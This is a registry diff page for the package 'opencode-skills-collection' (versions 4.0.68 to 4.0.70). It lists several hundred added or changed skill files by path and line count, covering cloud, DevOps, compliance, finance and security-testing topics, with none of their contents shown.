opencode-skills-collection 4.0.68 → 4.0.70

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (491) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +304 -1
  2. package/bundled-skills/access-review/SKILL.md +394 -0
  3. package/bundled-skills/access-review/references/details.md +121 -0
  4. package/bundled-skills/agent-evals/SKILL.md +420 -0
  5. package/bundled-skills/agent-observability/SKILL.md +346 -0
  6. package/bundled-skills/agent-observability/references/details.md +786 -0
  7. package/bundled-skills/ai-agent-security/SKILL.md +393 -0
  8. package/bundled-skills/ai-agent-security/references/details.md +912 -0
  9. package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
  10. package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
  11. package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
  12. package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
  13. package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
  14. package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
  15. package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
  16. package/bundled-skills/alerting-oncall/SKILL.md +458 -0
  17. package/bundled-skills/alerting-oncall/references/details.md +84 -0
  18. package/bundled-skills/api-integration-architect/SKILL.md +241 -0
  19. package/bundled-skills/apify-generate-output-schema/SKILL.md +438 -0
  20. package/bundled-skills/apify-integration-development/SKILL.md +168 -0
  21. package/bundled-skills/apify-integration-development/references/ai-framework-package.md +158 -0
  22. package/bundled-skills/apify-integration-development/references/ai-harness-plugin.md +192 -0
  23. package/bundled-skills/apify-integration-development/references/sdk-integration.md +236 -0
  24. package/bundled-skills/apify-integration-development/references/workflow-automation.md +163 -0
  25. package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
  26. package/bundled-skills/architecture-review/README.md +42 -0
  27. package/bundled-skills/architecture-review/SKILL.md +77 -0
  28. package/bundled-skills/architecture-review/examples.md +11 -0
  29. package/bundled-skills/architecture-review/reference/best-practices.md +7 -0
  30. package/bundled-skills/architecture-review/reference/capabilities.md +20 -0
  31. package/bundled-skills/architecture-review/reference/fallbacks.md +11 -0
  32. package/bundled-skills/architecture-review/reference/graph.md +15 -0
  33. package/bundled-skills/architecture-review/reference/mcp.md +14 -0
  34. package/bundled-skills/architecture-review/reference/workflow.md +15 -0
  35. package/bundled-skills/architecture-review/templates/architecture-review.md +21 -0
  36. package/bundled-skills/argocd-gitops/SKILL.md +469 -0
  37. package/bundled-skills/arm-templates/SKILL.md +438 -0
  38. package/bundled-skills/arm-templates/references/details.md +64 -0
  39. package/bundled-skills/asset-inventory/SKILL.md +412 -0
  40. package/bundled-skills/asset-inventory/references/details.md +127 -0
  41. package/bundled-skills/audit-logging/SKILL.md +476 -0
  42. package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
  43. package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
  44. package/bundled-skills/aws-ec2/SKILL.md +426 -0
  45. package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
  46. package/bundled-skills/aws-iam/SKILL.md +463 -0
  47. package/bundled-skills/aws-lambda/SKILL.md +428 -0
  48. package/bundled-skills/aws-rds/SKILL.md +380 -0
  49. package/bundled-skills/aws-s3/SKILL.md +434 -0
  50. package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
  51. package/bundled-skills/aws-vpc/SKILL.md +436 -0
  52. package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
  53. package/bundled-skills/azure-aks/SKILL.md +423 -0
  54. package/bundled-skills/azure-devops/SKILL.md +457 -0
  55. package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
  56. package/bundled-skills/azure-keyvault/SKILL.md +455 -0
  57. package/bundled-skills/azure-keyvault/references/details.md +83 -0
  58. package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
  59. package/bundled-skills/azure-networking/SKILL.md +448 -0
  60. package/bundled-skills/azure-networking/references/details.md +135 -0
  61. package/bundled-skills/azure-sql/SKILL.md +413 -0
  62. package/bundled-skills/azure-sql/references/details.md +113 -0
  63. package/bundled-skills/azure-vms/SKILL.md +402 -0
  64. package/bundled-skills/azure-vms/references/details.md +134 -0
  65. package/bundled-skills/backup-recovery/SKILL.md +388 -0
  66. package/bundled-skills/bb-methodology/SKILL.md +451 -0
  67. package/bundled-skills/bb-methodology/references/details.md +120 -0
  68. package/bundled-skills/block-storage/SKILL.md +371 -0
  69. package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
  70. package/bundled-skills/blue-green-deploy/references/details.md +90 -0
  71. package/bundled-skills/bug-bounty/SKILL.md +447 -0
  72. package/bundled-skills/bug-bounty/references/details.md +1316 -0
  73. package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
  74. package/bundled-skills/business-continuity/SKILL.md +463 -0
  75. package/bundled-skills/career-ops/SKILL.md +186 -0
  76. package/bundled-skills/cdn-setup/SKILL.md +374 -0
  77. package/bundled-skills/change-management/SKILL.md +438 -0
  78. package/bundled-skills/change-management/references/details.md +105 -0
  79. package/bundled-skills/circleci/SKILL.md +475 -0
  80. package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
  81. package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
  82. package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
  83. package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
  84. package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
  85. package/bundled-skills/cloudformation/SKILL.md +461 -0
  86. package/bundled-skills/code-review-sensei/SKILL.md +177 -0
  87. package/bundled-skills/codebase-onboarding/README.md +42 -0
  88. package/bundled-skills/codebase-onboarding/SKILL.md +77 -0
  89. package/bundled-skills/codebase-onboarding/examples.md +11 -0
  90. package/bundled-skills/codebase-onboarding/reference/best-practices.md +7 -0
  91. package/bundled-skills/codebase-onboarding/reference/capabilities.md +20 -0
  92. package/bundled-skills/codebase-onboarding/reference/fallbacks.md +11 -0
  93. package/bundled-skills/codebase-onboarding/reference/graph.md +15 -0
  94. package/bundled-skills/codebase-onboarding/reference/mcp.md +14 -0
  95. package/bundled-skills/codebase-onboarding/reference/workflow.md +15 -0
  96. package/bundled-skills/codebase-onboarding/templates/repository-onboarding.md +21 -0
  97. package/bundled-skills/connection-auth-rules/SKILL.md +199 -0
  98. package/bundled-skills/connection-auth-rules/fetch_schema.py +320 -0
  99. package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
  100. package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
  101. package/bundled-skills/container-hardening/SKILL.md +126 -0
  102. package/bundled-skills/container-registries/SKILL.md +435 -0
  103. package/bundled-skills/container-scanning/SKILL.md +416 -0
  104. package/bundled-skills/convex-backend/SKILL.md +338 -0
  105. package/bundled-skills/dast-scanning/SKILL.md +437 -0
  106. package/bundled-skills/database-backups/SKILL.md +425 -0
  107. package/bundled-skills/datadog/SKILL.md +487 -0
  108. package/bundled-skills/dependency-analysis/README.md +42 -0
  109. package/bundled-skills/dependency-analysis/SKILL.md +76 -0
  110. package/bundled-skills/dependency-analysis/examples.md +11 -0
  111. package/bundled-skills/dependency-analysis/reference/best-practices.md +7 -0
  112. package/bundled-skills/dependency-analysis/reference/capabilities.md +20 -0
  113. package/bundled-skills/dependency-analysis/reference/fallbacks.md +11 -0
  114. package/bundled-skills/dependency-analysis/reference/graph.md +15 -0
  115. package/bundled-skills/dependency-analysis/reference/mcp.md +14 -0
  116. package/bundled-skills/dependency-analysis/reference/workflow.md +15 -0
  117. package/bundled-skills/dependency-analysis/templates/dependency-review.md +21 -0
  118. package/bundled-skills/dependency-scanning/SKILL.md +457 -0
  119. package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
  120. package/bundled-skills/devops-pipeline-builder/SKILL.md +200 -0
  121. package/bundled-skills/disaster-recovery/SKILL.md +374 -0
  122. package/bundled-skills/disaster-recovery/references/details.md +219 -0
  123. package/bundled-skills/dns-management/SKILL.md +375 -0
  124. package/bundled-skills/docker-compose/SKILL.md +482 -0
  125. package/bundled-skills/docker-management/SKILL.md +426 -0
  126. package/bundled-skills/eas-app-stores/SKILL.md +197 -0
  127. package/bundled-skills/eas-app-stores/agents/openai.yaml +4 -0
  128. package/bundled-skills/eas-app-stores/references/app-store-metadata.md +497 -0
  129. package/bundled-skills/eas-app-stores/references/ios-app-store.md +376 -0
  130. package/bundled-skills/eas-app-stores/references/native-ios.md +167 -0
  131. package/bundled-skills/eas-app-stores/references/play-store.md +244 -0
  132. package/bundled-skills/eas-app-stores/references/testflight.md +62 -0
  133. package/bundled-skills/eas-app-stores/references/workflows.md +120 -0
  134. package/bundled-skills/eas-hosting/SKILL.md +448 -0
  135. package/bundled-skills/eas-hosting/agents/openai.yaml +4 -0
  136. package/bundled-skills/eas-observe/SKILL.md +75 -0
  137. package/bundled-skills/eas-observe/agents/openai.yaml +4 -0
  138. package/bundled-skills/eas-observe/references/metrics.md +98 -0
  139. package/bundled-skills/eas-observe/references/queries.md +403 -0
  140. package/bundled-skills/eas-observe/references/setup.md +476 -0
  141. package/bundled-skills/eas-observe/references/third-party.md +136 -0
  142. package/bundled-skills/eas-simulator/SKILL.md +251 -0
  143. package/bundled-skills/eas-simulator/agents/openai.yaml +4 -0
  144. package/bundled-skills/eas-simulator/references/controllers.md +135 -0
  145. package/bundled-skills/eas-simulator/references/run-your-app.md +240 -0
  146. package/bundled-skills/eas-simulator/references/troubleshooting.md +47 -0
  147. package/bundled-skills/eas-workflows/SKILL.md +119 -0
  148. package/bundled-skills/eas-workflows/agents/openai.yaml +4 -0
  149. package/bundled-skills/eas-workflows/scripts/fetch.js +109 -0
  150. package/bundled-skills/ebpf-observability/SKILL.md +436 -0
  151. package/bundled-skills/ebpf-observability/references/details.md +542 -0
  152. package/bundled-skills/elk-stack/SKILL.md +487 -0
  153. package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
  154. package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
  155. package/bundled-skills/expo-animation/LICENSE +21 -0
  156. package/bundled-skills/expo-animation/RECIPES.md +385 -0
  157. package/bundled-skills/expo-animation/SKILL.md +295 -0
  158. package/bundled-skills/expo-animation/agents/openai.yaml +4 -0
  159. package/bundled-skills/fact-check-x-unified/SKILL.md +178 -0
  160. package/bundled-skills/fact-check-x-unified/agents/openai.yaml +4 -0
  161. package/bundled-skills/fact-check-x-unified/references/acceptance-criteria.md +44 -0
  162. package/bundled-skills/fact-check-x-unified/references/contracts.md +39 -0
  163. package/bundled-skills/fact-check-x-unified/scripts/common.py +31 -0
  164. package/bundled-skills/fact-check-x-unified/scripts/fact_check_x.py +1832 -0
  165. package/bundled-skills/fact-check-x-unified/scripts/trusted_search_config.py +324 -0
  166. package/bundled-skills/fact-check-x-unified/tests/anchor_downgrade_test.py +90 -0
  167. package/bundled-skills/fact-check-x-unified/tests/multi_platform_test.py +369 -0
  168. package/bundled-skills/fact-check-x-unified/tests/smoke_test.py +740 -0
  169. package/bundled-skills/fact-check-x-unified/tests/stage_checkpoint_test.py +103 -0
  170. package/bundled-skills/fact-check-x-unified/tests/trusted_search_config_test.py +156 -0
  171. package/bundled-skills/feature-flags/SKILL.md +426 -0
  172. package/bundled-skills/feature-flags/references/details.md +86 -0
  173. package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
  174. package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
  175. package/bundled-skills/firewall-config/SKILL.md +479 -0
  176. package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
  177. package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
  178. package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
  179. package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
  180. package/bundled-skills/gcp-compute/SKILL.md +319 -0
  181. package/bundled-skills/gcp-gke/SKILL.md +307 -0
  182. package/bundled-skills/gcp-networking/SKILL.md +293 -0
  183. package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
  184. package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
  185. package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
  186. package/bundled-skills/gdpr-compliance/references/details.md +145 -0
  187. package/bundled-skills/geo-audit/SKILL.md +368 -0
  188. package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
  189. package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
  190. package/bundled-skills/geo-citability/SKILL.md +350 -0
  191. package/bundled-skills/geo-compare/SKILL.md +340 -0
  192. package/bundled-skills/geo-content/SKILL.md +383 -0
  193. package/bundled-skills/geo-crawlers/SKILL.md +408 -0
  194. package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
  195. package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
  196. package/bundled-skills/geo-proposal/SKILL.md +378 -0
  197. package/bundled-skills/geo-prospect/SKILL.md +225 -0
  198. package/bundled-skills/geo-report/SKILL.md +436 -0
  199. package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
  200. package/bundled-skills/geo-schema/SKILL.md +408 -0
  201. package/bundled-skills/geo-technical/SKILL.md +78 -0
  202. package/bundled-skills/geo-technical/references/details.md +543 -0
  203. package/bundled-skills/git-workflow/SKILL.md +460 -0
  204. package/bundled-skills/github-actions/SKILL.md +368 -0
  205. package/bundled-skills/gitlab-ci/SKILL.md +340 -0
  206. package/bundled-skills/gpt-taste/SKILL.md +8 -1
  207. package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
  208. package/bundled-skills/gpu-server-management/SKILL.md +236 -0
  209. package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
  210. package/bundled-skills/helm-charts/SKILL.md +469 -0
  211. package/bundled-skills/hf-cli/SKILL.md +263 -0
  212. package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
  213. package/bundled-skills/huggingface-community-evals/SKILL.md +228 -0
  214. package/bundled-skills/huggingface-community-evals/examples/.env.example +3 -0
  215. package/bundled-skills/huggingface-community-evals/examples/USAGE_EXAMPLES.md +101 -0
  216. package/bundled-skills/huggingface-community-evals/scripts/inspect_eval_uv.py +104 -0
  217. package/bundled-skills/huggingface-community-evals/scripts/inspect_vllm_uv.py +306 -0
  218. package/bundled-skills/huggingface-community-evals/scripts/lighteval_vllm_uv.py +297 -0
  219. package/bundled-skills/huggingface-datasets/SKILL.md +130 -0
  220. package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
  221. package/bundled-skills/hunt-ato/SKILL.md +184 -0
  222. package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
  223. package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
  224. package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
  225. package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
  226. package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
  227. package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
  228. package/bundled-skills/hunt-cicd/SKILL.md +311 -0
  229. package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
  230. package/bundled-skills/hunt-cors/SKILL.md +335 -0
  231. package/bundled-skills/hunt-dom/SKILL.md +323 -0
  232. package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
  233. package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
  234. package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
  235. package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
  236. package/bundled-skills/hunt-grpc/SKILL.md +317 -0
  237. package/bundled-skills/hunt-host-header/SKILL.md +309 -0
  238. package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
  239. package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
  240. package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
  241. package/bundled-skills/hunt-idor/SKILL.md +434 -0
  242. package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
  243. package/bundled-skills/hunt-k8s/SKILL.md +337 -0
  244. package/bundled-skills/hunt-laravel/SKILL.md +255 -0
  245. package/bundled-skills/hunt-ldap/SKILL.md +351 -0
  246. package/bundled-skills/hunt-lfi/SKILL.md +311 -0
  247. package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
  248. package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
  249. package/bundled-skills/hunt-misc/SKILL.md +378 -0
  250. package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
  251. package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
  252. package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
  253. package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
  254. package/bundled-skills/hunt-oauth/SKILL.md +459 -0
  255. package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
  256. package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
  257. package/bundled-skills/hunt-race-condition/references/details.md +159 -0
  258. package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
  259. package/bundled-skills/hunt-rce/SKILL.md +444 -0
  260. package/bundled-skills/hunt-rce/references/details.md +110 -0
  261. package/bundled-skills/hunt-saml/SKILL.md +156 -0
  262. package/bundled-skills/hunt-session/SKILL.md +342 -0
  263. package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
  264. package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
  265. package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
  266. package/bundled-skills/hunt-springboot/SKILL.md +285 -0
  267. package/bundled-skills/hunt-sqli/SKILL.md +466 -0
  268. package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
  269. package/bundled-skills/hunt-ssrf/references/details.md +179 -0
  270. package/bundled-skills/hunt-ssti/SKILL.md +163 -0
  271. package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
  272. package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
  273. package/bundled-skills/hunt-xxe/SKILL.md +466 -0
  274. package/bundled-skills/i-have-adhd/SKILL.md +170 -0
  275. package/bundled-skills/identity-access-management/SKILL.md +382 -0
  276. package/bundled-skills/identity-access-management/references/details.md +524 -0
  277. package/bundled-skills/incident-management/SKILL.md +484 -0
  278. package/bundled-skills/incident-response/SKILL.md +448 -0
  279. package/bundled-skills/incident-response/references/details.md +113 -0
  280. package/bundled-skills/interview-me/SKILL.md +248 -0
  281. package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
  282. package/bundled-skills/jenkins/SKILL.md +462 -0
  283. package/bundled-skills/jev-social/SKILL.md +182 -0
  284. package/bundled-skills/jev-use/SKILL.md +158 -0
  285. package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
  286. package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
  287. package/bundled-skills/kubernetes-ops/references/details.md +108 -0
  288. package/bundled-skills/kustomize/SKILL.md +478 -0
  289. package/bundled-skills/linux-administration/SKILL.md +367 -0
  290. package/bundled-skills/linux-hardening/SKILL.md +154 -0
  291. package/bundled-skills/llm-app-security/SKILL.md +389 -0
  292. package/bundled-skills/llm-app-security/references/details.md +674 -0
  293. package/bundled-skills/llm-caching/SKILL.md +334 -0
  294. package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
  295. package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
  296. package/bundled-skills/llm-gateway/SKILL.md +282 -0
  297. package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
  298. package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
  299. package/bundled-skills/load-balancing/SKILL.md +403 -0
  300. package/bundled-skills/loki-logging/SKILL.md +479 -0
  301. package/bundled-skills/longbridge-derivatives/SKILL.md +117 -0
  302. package/bundled-skills/longbridge-derivatives/references/option.md +36 -0
  303. package/bundled-skills/longbridge-derivatives/references/options-advanced.md +101 -0
  304. package/bundled-skills/longbridge-derivatives/references/options-pnl.md +74 -0
  305. package/bundled-skills/longbridge-derivatives/references/options-strategy.md +82 -0
  306. package/bundled-skills/longbridge-derivatives/references/options-volatility.md +70 -0
  307. package/bundled-skills/longbridge-derivatives/references/warrant.md +12 -0
  308. package/bundled-skills/longbridge-quant/SKILL.md +151 -0
  309. package/bundled-skills/longbridge-quant/references/correlation.md +51 -0
  310. package/bundled-skills/longbridge-quant/references/execution-model.md +68 -0
  311. package/bundled-skills/longbridge-quant/references/factor-research.md +95 -0
  312. package/bundled-skills/longbridge-quant/references/factor-screen.md +101 -0
  313. package/bundled-skills/longbridge-quant/references/hedging.md +136 -0
  314. package/bundled-skills/longbridge-quant/references/ml-strategy.md +77 -0
  315. package/bundled-skills/longbridge-quant/references/multifactor.md +68 -0
  316. package/bundled-skills/longbridge-quant/references/pairs-trading.md +61 -0
  317. package/bundled-skills/longbridge-quant/references/quant-cli.md +133 -0
  318. package/bundled-skills/longbridge-quant/references/quant-stats.md +150 -0
  319. package/bundled-skills/longbridge-quant/references/seasonality.md +50 -0
  320. package/bundled-skills/longbridge-quant/references/strategy-optimizer.md +68 -0
  321. package/bundled-skills/longbridge-quant/references/volatility-strategy.md +52 -0
  322. package/bundled-skills/longbridge-research/SKILL.md +187 -0
  323. package/bundled-skills/longbridge-research/references/company-profile.md +96 -0
  324. package/bundled-skills/longbridge-research/references/company-tearsheet.md +82 -0
  325. package/bundled-skills/longbridge-research/references/competitive-analysis.md +81 -0
  326. package/bundled-skills/longbridge-research/references/consensus.md +92 -0
  327. package/bundled-skills/longbridge-research/references/coverage-initiation.md +76 -0
  328. package/bundled-skills/longbridge-research/references/defi-yield.md +60 -0
  329. package/bundled-skills/longbridge-research/references/finance-calendar.md +165 -0
  330. package/bundled-skills/longbridge-research/references/financial-planning.md +77 -0
  331. package/bundled-skills/longbridge-research/references/forecast-eps.md +39 -0
  332. package/bundled-skills/longbridge-research/references/fund-holder.md +44 -0
  333. package/bundled-skills/longbridge-research/references/hkipo-analysis.md +101 -0
  334. package/bundled-skills/longbridge-research/references/industry-peers.md +46 -0
  335. package/bundled-skills/longbridge-research/references/industry-rank.md +62 -0
  336. package/bundled-skills/longbridge-research/references/insider-trades.md +48 -0
  337. package/bundled-skills/longbridge-research/references/institution-rating.md +62 -0
  338. package/bundled-skills/longbridge-research/references/investment-ideas.md +69 -0
  339. package/bundled-skills/longbridge-research/references/investment-proposal.md +95 -0
  340. package/bundled-skills/longbridge-research/references/investors.md +87 -0
  341. package/bundled-skills/longbridge-research/references/onchain.md +70 -0
  342. package/bundled-skills/longbridge-research/references/post-investment.md +76 -0
  343. package/bundled-skills/longbridge-research/references/shareholder.md +72 -0
  344. package/bundled-skills/longbridge-research/references/short-positions.md +50 -0
  345. package/bundled-skills/longbridge-research/references/short-trades.md +50 -0
  346. package/bundled-skills/longbridge-research/references/stock-research.md +61 -0
  347. package/bundled-skills/longbridge-research/references/thesis-tracker.md +64 -0
  348. package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
  349. package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
  350. package/bundled-skills/makepad-2-0-animation/SKILL.md +318 -0
  351. package/bundled-skills/makepad-2-0-animation/references/animator-reference.md +433 -0
  352. package/bundled-skills/makepad-2-0-dsl/SKILL.md +492 -0
  353. package/bundled-skills/makepad-2-0-dsl/references/dsl-syntax-reference.md +511 -0
  354. package/bundled-skills/makepad-2-0-dsl/references/extended-guide.md +56 -0
  355. package/bundled-skills/makepad-2-0-dsl/references/property-system.md +757 -0
  356. package/bundled-skills/makepad-2-0-events/SKILL.md +497 -0
  357. package/bundled-skills/makepad-2-0-events/references/event-patterns.md +802 -0
  358. package/bundled-skills/makepad-2-0-events/references/extended-guide.md +590 -0
  359. package/bundled-skills/makepad-2-0-layout/SKILL.md +499 -0
  360. package/bundled-skills/makepad-2-0-layout/references/extended-guide.md +243 -0
  361. package/bundled-skills/makepad-2-0-layout/references/layout-patterns.md +881 -0
  362. package/bundled-skills/makepad-2-0-widgets/SKILL.md +261 -0
  363. package/bundled-skills/makepad-2-0-widgets/references/widget-advanced.md +648 -0
  364. package/bundled-skills/makepad-2-0-widgets/references/widget-catalog.md +547 -0
  365. package/bundled-skills/mcp-server-security/SKILL.md +356 -0
  366. package/bundled-skills/mcp-server-security/references/details.md +745 -0
  367. package/bundled-skills/mdm-device-management/SKILL.md +404 -0
  368. package/bundled-skills/mdm-device-management/references/details.md +410 -0
  369. package/bundled-skills/meeting-distiller-pro/SKILL.md +120 -0
  370. package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
  371. package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
  372. package/bundled-skills/model-registry-governance/SKILL.md +452 -0
  373. package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
  374. package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
  375. package/bundled-skills/mongodb/SKILL.md +436 -0
  376. package/bundled-skills/monte-carlo-analyze-root-cause/SKILL.md +12 -1
  377. package/bundled-skills/monte-carlo-asset-health/SKILL.md +12 -1
  378. package/bundled-skills/monte-carlo-context-detection/SKILL.md +170 -0
  379. package/bundled-skills/monte-carlo-context-detection/references/signal-definitions.md +46 -0
  380. package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
  381. package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
  382. package/bundled-skills/mysql/SKILL.md +390 -0
  383. package/bundled-skills/new-relic/SKILL.md +472 -0
  384. package/bundled-skills/nfs-storage/SKILL.md +356 -0
  385. package/bundled-skills/object-storage/SKILL.md +378 -0
  386. package/bundled-skills/offensive-osint/SKILL.md +443 -0
  387. package/bundled-skills/okta-attack/SKILL.md +436 -0
  388. package/bundled-skills/ollama-stack/SKILL.md +379 -0
  389. package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
  390. package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
  391. package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
  392. package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
  393. package/bundled-skills/openshift/SKILL.md +485 -0
  394. package/bundled-skills/opentelemetry/SKILL.md +438 -0
  395. package/bundled-skills/opentelemetry/references/details.md +78 -0
  396. package/bundled-skills/opentofu-migration/SKILL.md +349 -0
  397. package/bundled-skills/osint-methodology/SKILL.md +460 -0
  398. package/bundled-skills/osint-methodology/references/details.md +1350 -0
  399. package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
  400. package/bundled-skills/penetration-testing/SKILL.md +152 -0
  401. package/bundled-skills/performance-tuning/SKILL.md +381 -0
  402. package/bundled-skills/planetscale/SKILL.md +297 -0
  403. package/bundled-skills/platform-engineering/SKILL.md +348 -0
  404. package/bundled-skills/platform-engineering/references/details.md +944 -0
  405. package/bundled-skills/podman/SKILL.md +405 -0
  406. package/bundled-skills/policy-as-code/SKILL.md +434 -0
  407. package/bundled-skills/policy-as-code/references/details.md +204 -0
  408. package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
  409. package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
  410. package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
  411. package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
  412. package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
  413. package/bundled-skills/rag-observability-evals/references/details.md +92 -0
  414. package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
  415. package/bundled-skills/redis/SKILL.md +421 -0
  416. package/bundled-skills/redteam-report-template/SKILL.md +370 -0
  417. package/bundled-skills/remotion-captions/SKILL.md +57 -0
  418. package/bundled-skills/remotion-captions/agents/openai.yaml +7 -0
  419. package/bundled-skills/remotion-captions/assets/remotion-icon.svg +4 -0
  420. package/bundled-skills/remotion-captions/display-captions.md +190 -0
  421. package/bundled-skills/remotion-captions/import-srt-captions.md +73 -0
  422. package/bundled-skills/remotion-captions/transcribe-captions.md +70 -0
  423. package/bundled-skills/remotion-create/SKILL.md +106 -0
  424. package/bundled-skills/remotion-create/agents/openai.yaml +7 -0
  425. package/bundled-skills/remotion-create/assets/remotion-icon.svg +4 -0
  426. package/bundled-skills/remotion-create/tailwind.md +11 -0
  427. package/bundled-skills/remotion-create/video-layout.md +9 -0
  428. package/bundled-skills/remotion-docs/SKILL.md +67 -0
  429. package/bundled-skills/remotion-docs/agents/openai.yaml +7 -0
  430. package/bundled-skills/remotion-docs/assets/remotion-icon.svg +4 -0
  431. package/bundled-skills/remotion-interactivity/SKILL.md +270 -0
  432. package/bundled-skills/remotion-interactivity/agents/openai.yaml +7 -0
  433. package/bundled-skills/remotion-interactivity/assets/remotion-icon.svg +4 -0
  434. package/bundled-skills/remotion-render/SKILL.md +48 -0
  435. package/bundled-skills/remotion-render/agents/openai.yaml +7 -0
  436. package/bundled-skills/remotion-render/assets/remotion-icon.svg +4 -0
  437. package/bundled-skills/remotion-render/transparent-videos.md +106 -0
  438. package/bundled-skills/report-writing/SKILL.md +426 -0
  439. package/bundled-skills/report-writing/references/details.md +187 -0
  440. package/bundled-skills/reverse-proxy/SKILL.md +420 -0
  441. package/bundled-skills/runbook-creation/SKILL.md +438 -0
  442. package/bundled-skills/runbook-creation/references/details.md +71 -0
  443. package/bundled-skills/saas-pricing-strategist/SKILL.md +169 -0
  444. package/bundled-skills/saas-security-posture/SKILL.md +415 -0
  445. package/bundled-skills/sast-scanning/SKILL.md +444 -0
  446. package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
  447. package/bundled-skills/score-eval/SKILL.md +35 -0
  448. package/bundled-skills/security-arsenal/SKILL.md +446 -0
  449. package/bundled-skills/security-arsenal/references/details.md +540 -0
  450. package/bundled-skills/security-automation/SKILL.md +146 -0
  451. package/bundled-skills/semantic-versioning/SKILL.md +434 -0
